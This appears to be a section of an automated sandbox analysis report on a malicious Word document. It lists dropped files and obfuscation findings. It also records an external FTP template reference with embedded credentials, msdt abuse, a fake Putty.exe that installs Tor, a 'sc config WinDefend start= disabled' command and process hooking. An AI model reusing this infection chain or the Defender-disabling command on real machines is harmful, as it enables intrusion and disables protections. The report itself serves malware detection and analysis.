Source: Binary string: AppxProvider.pdb source: Dism.exe, 00000021.00000003.550203369.000001F16DF32000.00000004.00000020.00020000.00000000.sdmp, AppxProvider.dll.33.dr
Source: Binary string: AppxProvider.pdbGCTL source: Dism.exe, 00000021.00000003.550203369.000001F16DF32000.00000004.00000020.00020000.00000000.sdmp, AppxProvider.dll.33.dr
Source: Binary string: CompatProvider.pdbGCTL source: Dism.exe, 00000021.00000003.559520677.000001F16DF33000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: FfuProvider.pdb source: Dism.exe, 00000021.00000003.594149548.000001F16DF34000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: CBSProvider.pdbGCTL source: Dism.exe, 00000021.00000003.555491493.000001F16DF32000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: DismCorePS.pdbGCTL source: Dism.exe, 00000021.00000003.572060604.000001F16DF33000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: IBSProvider.pdbGCTL source: Dism.exe, 00000021.00000003.598835671.000001F16DF34000.00000004.00000020.00020000.00000000.sdmp, IBSProvider.dll.33.dr
Source: Binary string: DmiProvider.pdbGCTL source: Dism.exe, 00000021.00000003.574746184.000001F16DF33000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: CompatProvider.pdb source: Dism.exe, 00000021.00000003.559520677.000001F16DF33000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: CBSProvider.pdb source: Dism.exe, 00000021.00000003.555491493.000001F16DF32000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: FolderProvider.pdbGCTL source: Dism.exe, 00000021.00000003.594636777.000001F16DF34000.00000004.00000020.00020000.00000000.sdmp, FolderProvider.dll.33.dr
Source: Binary string: GenericProvider.pdb source: Dism.exe, 00000021.00000003.595659251.000001F16DF34000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: AssocProvider.pdbGCTL source: Dism.exe, 00000021.00000003.553413044.000001F16DF33000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: FolderProvider.pdb source: Dism.exe, 00000021.00000003.594636777.000001F16DF34000.00000004.00000020.00020000.00000000.sdmp, FolderProvider.dll.33.dr
Source: v4nkfHg4d9.doc Initial sample: OLE indicators vbamacros = False
Uses code obfuscation techniques (call, push, ret)
Source: C:\Windows\Temp\SDIAG_ddb55b0c-cd91-4e41-8c7d-9e294f93993f\Putty.exe Code function: 17_2_0052CC80 push eax; ret 17_2_0052CC81
Source: C:\Windows\Temp\SDIAG_ddb55b0c-cd91-4e41-8c7d-9e294f93993f\Putty.exe Code function: 17_2_00539108 pushad ; retn 005Ah 17_2_00539109
Source: C:\Windows\Temp\SDIAG_ddb55b0c-cd91-4e41-8c7d-9e294f93993f\Putty.exe Code function: 17_2_0052C232 pushad ; retn 0052h 17_2_0052C259
Source: C:\Users\user\AppData\Roaming\Tor\tor.exe Code function: 36_2_5E84ACE7 push ebx; iretd 36_2_5E84ACF0
Source: C:\Users\user\AppData\Roaming\Tor\tor.exe Code function: 36_2_5E84AC6B push ebx; iretd 36_2_5E84ACF0
Source: C:\Users\user\AppData\Roaming\Tor\tor.exe Code function: 36_2_5E84FBEC push 41140E0Ah; ret 36_2_5E84FBFA
Source: C:\Users\user\AppData\Roaming\Tor\tor.exe Code function: 36_2_5E850326 push 41100E0Ah; ret 36_2_5E850370
Source: C:\Users\user\AppData\Roaming\Tor\tor.exe Code function: 36_2_5E8509C5 push ebx; ret 36_2_5E8509C6
Source: C:\Users\user\AppData\Roaming\Tor\tor.exe Code function: 36_2_5E84A1F0 push ds; ret 36_2_5E84A1F8
Contains functionality to dynamically determine API calls
Source: C:\Users\user\AppData\Roaming\Tor\tor.exe Code function: 36_2_5E831400 GetModuleHandleA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress, 36_2_5E831400
Binary contains a suspicious time stamp
Source: FfuProvider.dll.33.dr Static PE information: 0x7F36A226 [Wed Aug 19 09:28:06 2037 UTC]
Compiles C# or VB.Net code
Source: unknown Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\3diak4dk\3diak4dk.cmdline
Source: unknown Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\2ez4s4sm\2ez4s4sm.cmdline
Source: unknown Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\vniik5rq\vniik5rq.cmdline
PE file contains sections with non-standard names
Source: libcrypto-1_1.dll.17.dr Static PE information: section name: /4
Source: libcrypto-1_1.dll.17.dr Static PE information: section name: /14
Source: libcrypto-1_1.dll.17.dr Static PE information: section name: /29
Source: libcrypto-1_1.dll.17.dr Static PE information: section name: /41
Source: libcrypto-1_1.dll.17.dr Static PE information: section name: /55
Source: libcrypto-1_1.dll.17.dr Static PE information: section name: /67
Source: libcrypto-1_1.dll.17.dr Static PE information: section name: /80
Source: libcrypto-1_1.dll.17.dr Static PE information: section name: /91
Source: libcrypto-1_1.dll.17.dr Static PE information: section name: /102
Source: libevent-2-1-7.dll.17.dr Static PE information: section name: /4
Source: libevent-2-1-7.dll.17.dr Static PE information: section name: /14
Source: libevent-2-1-7.dll.17.dr Static PE information: section name: /29
Source: libevent-2-1-7.dll.17.dr Static PE information: section name: /41
Source: libevent-2-1-7.dll.17.dr Static PE information: section name: /55
Source: libevent-2-1-7.dll.17.dr Static PE information: section name: /67
Source: libevent-2-1-7.dll.17.dr Static PE information: section name: /80
Source: libevent-2-1-7.dll.17.dr Static PE information: section name: /91
Source: libevent-2-1-7.dll.17.dr Static PE information: section name: /102
Source: libevent_core-2-1-7.dll.17.dr Static PE information: section name: /4
Source: libevent_core-2-1-7.dll.17.dr Static PE information: section name: /14
Source: libevent_core-2-1-7.dll.17.dr Static PE information: section name: /29
Source: libevent_core-2-1-7.dll.17.dr Static PE information: section name: /41
Source: libevent_core-2-1-7.dll.17.dr Static PE information: section name: /55
Source: libevent_core-2-1-7.dll.17.dr Static PE information: section name: /67
Source: libevent_core-2-1-7.dll.17.dr Static PE information: section name: /80
Source: libevent_core-2-1-7.dll.17.dr Static PE information: section name: /91
Source: libevent_core-2-1-7.dll.17.dr Static PE information: section name: /102
Source: libevent_extra-2-1-7.dll.17.dr Static PE information: section name: /4
Source: libevent_extra-2-1-7.dll.17.dr Static PE information: section name: /14
Source: libevent_extra-2-1-7.dll.17.dr Static PE information: section name: /29
Source: libevent_extra-2-1-7.dll.17.dr Static PE information: section name: /41
Source: libevent_extra-2-1-7.dll.17.dr Static PE information: section name: /55
Source: libevent_extra-2-1-7.dll.17.dr Static PE information: section name: /67
Source: libevent_extra-2-1-7.dll.17.dr Static PE information: section name: /80
Source: libevent_extra-2-1-7.dll.17.dr Static PE information: section name: /91
Source: libevent_extra-2-1-7.dll.17.dr Static PE information: section name: /102
Source: libgcc_s_dw2-1.dll.17.dr Static PE information: section name: /4
Source: libgcc_s_dw2-1.dll.17.dr Static PE information: section name: /14
Source: libgcc_s_dw2-1.dll.17.dr Static PE information: section name: /29
Source: libgcc_s_dw2-1.dll.17.dr Static PE information: section name: /41
Source: libgcc_s_dw2-1.dll.17.dr Static PE information: section name: /55
Source: libgcc_s_dw2-1.dll.17.dr Static PE information: section name: /67
Source: libgcc_s_dw2-1.dll.17.dr Static PE information: section name: /80
Source: libgcc_s_dw2-1.dll.17.dr Static PE information: section name: /91
Source: libgcc_s_dw2-1.dll.17.dr Static PE information: section name: /102
Source: libssl-1_1.dll.17.dr Static PE information: section name: /4
Source: libssl-1_1.dll.17.dr Static PE information: section name: /14
Source: libssl-1_1.dll.17.dr Static PE information: section name: /29
Source: libssl-1_1.dll.17.dr Static PE information: section name: /41
Source: libssl-1_1.dll.17.dr Static PE information: section name: /55
Source: libssl-1_1.dll.17.dr Static PE information: section name: /67
Source: libssl-1_1.dll.17.dr Static PE information: section name: /80
Source: libssl-1_1.dll.17.dr Static PE information: section name: /91
Source: libssl-1_1.dll.17.dr Static PE information: section name: /102
Source: libssp-0.dll.17.dr Static PE information: section name: /4
Source: libssp-0.dll.17.dr Static PE information: section name: /14
Source: libssp-0.dll.17.dr Static PE information: section name: /29
Source: libssp-0.dll.17.dr Static PE information: section name: /41
Source: libssp-0.dll.17.dr Static PE information: section name: /55
Source: libssp-0.dll.17.dr Static PE information: section name: /67
Source: libssp-0.dll.17.dr Static PE information: section name: /80
Source: libssp-0.dll.17.dr Static PE information: section name: /91
Source: libssp-0.dll.17.dr Static PE information: section name: /102
Source: libwinpthread-1.dll.17.dr Static PE information: section name: /4
Source: libwinpthread-1.dll.17.dr Static PE information: section name: /14
Source: libwinpthread-1.dll.17.dr Static PE information: section name: /29
Source: libwinpthread-1.dll.17.dr Static PE information: section name: /41
Source: libwinpthread-1.dll.17.dr Static PE information: section name: /55
Source: libwinpthread-1.dll.17.dr Static PE information: section name: /67
Source: libwinpthread-1.dll.17.dr Static PE information: section name: /78
Source: libwinpthread-1.dll.17.dr Static PE information: section name: /89
Source: tor-gencert.exe.17.dr Static PE information: section name: /4
Source: tor.exe.17.dr Static PE information: section name: /4
Source: zlib1.dll.17.dr Static PE information: section name: /4
Source: FfuProvider.dll.33.dr Static PE information: section name: .didat
Source: AppxProvider.dll.33.dr Static PE information: section name: .didat
Source: DmiProvider.dll.33.dr Static PE information: section name: .didat

Persistence and Installation Behavior
barindex
Contains an external reference to another file
Source: document.xml.rels Extracted files from sample: mhtml:ftp://epiz_32594997:fkmeetiwdg@ftpupload.net/htdocs/a.html!x-usc:ftp://epiz_32594997:fkmeetiwdg@ftpupload.net/htdocs/a.html
Drops PE files
Source: C:\Windows\System32\Dism.exe File created: C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\en-US\DmiProvider.dll.mui Jump to dropped file
Source: C:\Windows\System32\Dism.exe File created: C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\en-US\UnattendProvider.dll.mui Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe File created: C:\Users\user\AppData\Local\Temp\vniik5rq\vniik5rq.dll Jump to dropped file
Source: C:\Windows\System32\Dism.exe File created: C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\en-US\TransmogProvider.dll.mui Jump to dropped file
Source: C:\Windows\System32\Dism.exe File created: C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\DmiProvider.dll Jump to dropped file
Source: C:\Windows\System32\Dism.exe File created: C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\en-US\DismProv.dll.mui Jump to dropped file
Source: C:\Windows\Temp\SDIAG_ddb55b0c-cd91-4e41-8c7d-9e294f93993f\Putty.exe File created: C:\Users\user\AppData\Roaming\Tor\libcrypto-1_1.dll Jump to dropped file
Source: C:\Windows\System32\Dism.exe File created: C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\en-US\OSProvider.dll.mui Jump to dropped file
Source: C:\Windows\System32\Dism.exe File created: C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\FfuProvider.dll Jump to dropped file
Source: C:\Windows\System32\Dism.exe File created: C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\en-US\FfuProvider.dll.mui Jump to dropped file
Source: C:\Windows\Temp\SDIAG_ddb55b0c-cd91-4e41-8c7d-9e294f93993f\Putty.exe File created: C:\Users\user\AppData\Roaming\Tor\tor.exe Jump to dropped file
Source: C:\Windows\System32\Dism.exe File created: C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\AppxProvider.dll Jump to dropped file
Source: C:\Windows\System32\Dism.exe File created: C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\en-US\SysprepProvider.dll.mui Jump to dropped file
Source: C:\Windows\Temp\SDIAG_ddb55b0c-cd91-4e41-8c7d-9e294f93993f\Putty.exe File created: C:\Users\user\AppData\Roaming\Tor\libevent_extra-2-1-7.dll Jump to dropped file
Source: C:\Windows\System32\Dism.exe File created: C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\en-US\SetupPlatformProvider.dll.mui Jump to dropped file
Source: C:\Windows\SysWOW64\msdt.exe File created: C:\Windows\Temp\SDIAG_ddb55b0c-cd91-4e41-8c7d-9e294f93993f\en-US\DiagPackage.dll.mui Jump to dropped file
Source: C:\Windows\System32\Dism.exe File created: C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\en-US\FolderProvider.dll.mui Jump to dropped file
Source: C:\Windows\System32\Dism.exe File created: C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\DismCore.dll Jump to dropped file
Source: C:\Windows\System32\Dism.exe File created: C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\FolderProvider.dll Jump to dropped file
Source: C:\Windows\System32\Dism.exe File created: C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\en-US\CbsProvider.dll.mui Jump to dropped file
Source: C:\Windows\System32\Dism.exe File created: C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\en-US\IBSProvider.dll.mui Jump to dropped file
Source: C:\Windows\System32\Dism.exe File created: C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\en-US\OfflineSetupProvider.dll.mui Jump to dropped file
Source: C:\Windows\SysWOW64\msdt.exe File created: C:\Windows\Temp\SDIAG_ddb55b0c-cd91-4e41-8c7d-9e294f93993f\DiagPackage.dll Jump to dropped file
Source: C:\Windows\Temp\SDIAG_ddb55b0c-cd91-4e41-8c7d-9e294f93993f\Putty.exe File created: C:\Users\user\AppData\Roaming\Tor\libssp-0.dll Jump to dropped file
Source: C:\Windows\System32\Dism.exe File created: C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\GenericProvider.dll Jump to dropped file
Source: C:\Windows\System32\Dism.exe File created: C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\en-US\AssocProvider.dll.mui Jump to dropped file
Source: C:\Windows\System32\Dism.exe File created: C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\en-US\ImagingProvider.dll.mui Jump to dropped file
Source: C:\Windows\Temp\SDIAG_ddb55b0c-cd91-4e41-8c7d-9e294f93993f\Putty.exe File created: C:\Users\user\AppData\Roaming\Tor\libevent_core-2-1-7.dll Jump to dropped file
Source: C:\Windows\System32\Dism.exe File created: C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\CbsProvider.dll Jump to dropped file
Source: C:\Windows\Temp\SDIAG_ddb55b0c-cd91-4e41-8c7d-9e294f93993f\Putty.exe File created: C:\Users\user\AppData\Roaming\Tor\zlib1.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe File created: C:\Users\user\AppData\Local\Temp\2ez4s4sm\2ez4s4sm.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe File created: C:\Users\user\AppData\Local\Temp\3diak4dk\3diak4dk.dll Jump to dropped file
Source: C:\Windows\System32\Dism.exe File created: C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\en-US\AppxProvider.dll.mui Jump to dropped file
Source: C:\Windows\Temp\SDIAG_ddb55b0c-cd91-4e41-8c7d-9e294f93993f\Putty.exe File created: C:\Users\user\AppData\Roaming\Tor\libssl-1_1.dll Jump to dropped file
Source: C:\Windows\System32\Dism.exe File created: C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\en-US\IntlProvider.dll.mui Jump to dropped file
Source: C:\Windows\System32\Dism.exe File created: C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\DismHost.exe Jump to dropped file
Source: C:\Windows\System32\Dism.exe File created: C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\IBSProvider.dll Jump to dropped file
Source: C:\Windows\System32\Dism.exe File created: C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\en-US\CompatProvider.dll.mui Jump to dropped file
Source: C:\Windows\Temp\SDIAG_ddb55b0c-cd91-4e41-8c7d-9e294f93993f\Putty.exe File created: C:\Users\user\AppData\Roaming\Tor\tor-gencert.exe Jump to dropped file
Source: C:\Windows\Temp\SDIAG_ddb55b0c-cd91-4e41-8c7d-9e294f93993f\Putty.exe File created: C:\Users\user\AppData\Roaming\Tor\libgcc_s_dw2-1.dll Jump to dropped file
Source: C:\Windows\System32\Dism.exe File created: C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\en-US\LogProvider.dll.mui Jump to dropped file
Source: C:\Windows\System32\Dism.exe File created: C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\en-US\VhdProvider.dll.mui Jump to dropped file
Source: C:\Windows\Temp\SDIAG_ddb55b0c-cd91-4e41-8c7d-9e294f93993f\Putty.exe File created: C:\Users\user\AppData\Roaming\Tor\libwinpthread-1.dll Jump to dropped file
Source: C:\Windows\System32\Dism.exe File created: C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\DismProv.dll Jump to dropped file
Source: C:\Windows\Temp\SDIAG_ddb55b0c-cd91-4e41-8c7d-9e294f93993f\Putty.exe File created: C:\Users\user\AppData\Roaming\Tor\libevent-2-1-7.dll Jump to dropped file
Source: C:\Windows\System32\Dism.exe File created: C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\DismCorePS.dll Jump to dropped file
Source: C:\Windows\System32\Dism.exe File created: C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\en-US\SmiProvider.dll.mui Jump to dropped file
Source: C:\Windows\System32\Dism.exe File created: C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\en-US\MsiProvider.dll.mui Jump to dropped file
Source: C:\Windows\System32\Dism.exe File created: C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\en-US\GenericProvider.dll.mui Jump to dropped file
Source: C:\Windows\System32\Dism.exe File created: C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\AssocProvider.dll Jump to dropped file
Source: C:\Windows\System32\Dism.exe File created: C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\CompatProvider.dll Jump to dropped file
Source: C:\Windows\System32\Dism.exe File created: C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\en-US\DismCore.dll.mui Jump to dropped file
Source: C:\Windows\System32\Dism.exe File created: C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\en-US\WimProvider.dll.mui Jump to dropped file
Source: C:\Windows\System32\Dism.exe File created: C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\en-US\ProvProvider.dll.mui Jump to dropped file
Drops PE files to the windows directory (C:\Windows)
Source: C:\Windows\SysWOW64\msdt.exe File created: C:\Windows\Temp\SDIAG_ddb55b0c-cd91-4e41-8c7d-9e294f93993f\DiagPackage.dll Jump to dropped file
Source: C:\Windows\SysWOW64\msdt.exe File created: C:\Windows\Temp\SDIAG_ddb55b0c-cd91-4e41-8c7d-9e294f93993f\en-US\DiagPackage.dll.mui Jump to dropped file

Boot Survival
barindex
Creates an undocumented autostart registry key
Source: C:\Windows\Temp\SDIAG_ddb55b0c-cd91-4e41-8c7d-9e294f93993f\Putty.exe Key value created or modified: HKEY_CURRENT_USER\System\CurrentControlSet\Services\WinDefend Start Jump to behavior
Modifies existing windows services
Source: C:\Windows\Temp\SDIAG_ddb55b0c-cd91-4e41-8c7d-9e294f93993f\Putty.exe Registry key value modified: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\wscsvc Jump to behavior
Creates or modifies windows services
Source: C:\Windows\Temp\SDIAG_ddb55b0c-cd91-4e41-8c7d-9e294f93993f\Putty.exe Registry key created: HKEY_CURRENT_USER\System\CurrentControlSet\Services\WinDefend Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\sc.exe sc config WinDefend start= disabled

Hooking and other Techniques for Hiding and Protection
barindex
Overwrites code with unconditional jumps - possibly settings hooks in foreign process
Source: C:\Windows\Temp\SDIAG_ddb55b0c-cd91-4e41-8c7d-9e294f93993f\Putty.exe Memory written: PID: 5812 base: 7FFA296E0008 value: E9 7B A9 EA FF Jump to behavior
Source: C:\Windows\Temp\SDIAG_ddb55b0c-cd91-4e41-8c7d-9e294f93993f\Putty.exe Memory written: PID: 5812 base: 7FFA2958A980 value: E9 90 56 15 00 Jump to behavior
Source: C:\Windows\Temp\SDIAG_ddb55b0c-cd91-4e41-8c7d-9e294f93993f\Putty.exe Memory written: PID: 5812 base: 7FFA296F000D value: E9 6B 9B EC FF Jump to behavior
Source: C:\Windows\Temp\SDIAG_ddb55b0c-cd91-4e41-8c7d-9e294f93993f\Putty.exe Memory written: PID: 5812 base: 7FFA295B9B70 value: E9 AA 64 13 00 Jump to behavior
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Source: C:\Program Files (x86)\Microsoft Office\Office16\MSOSYNC.EXE Registry key monitored for changes: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
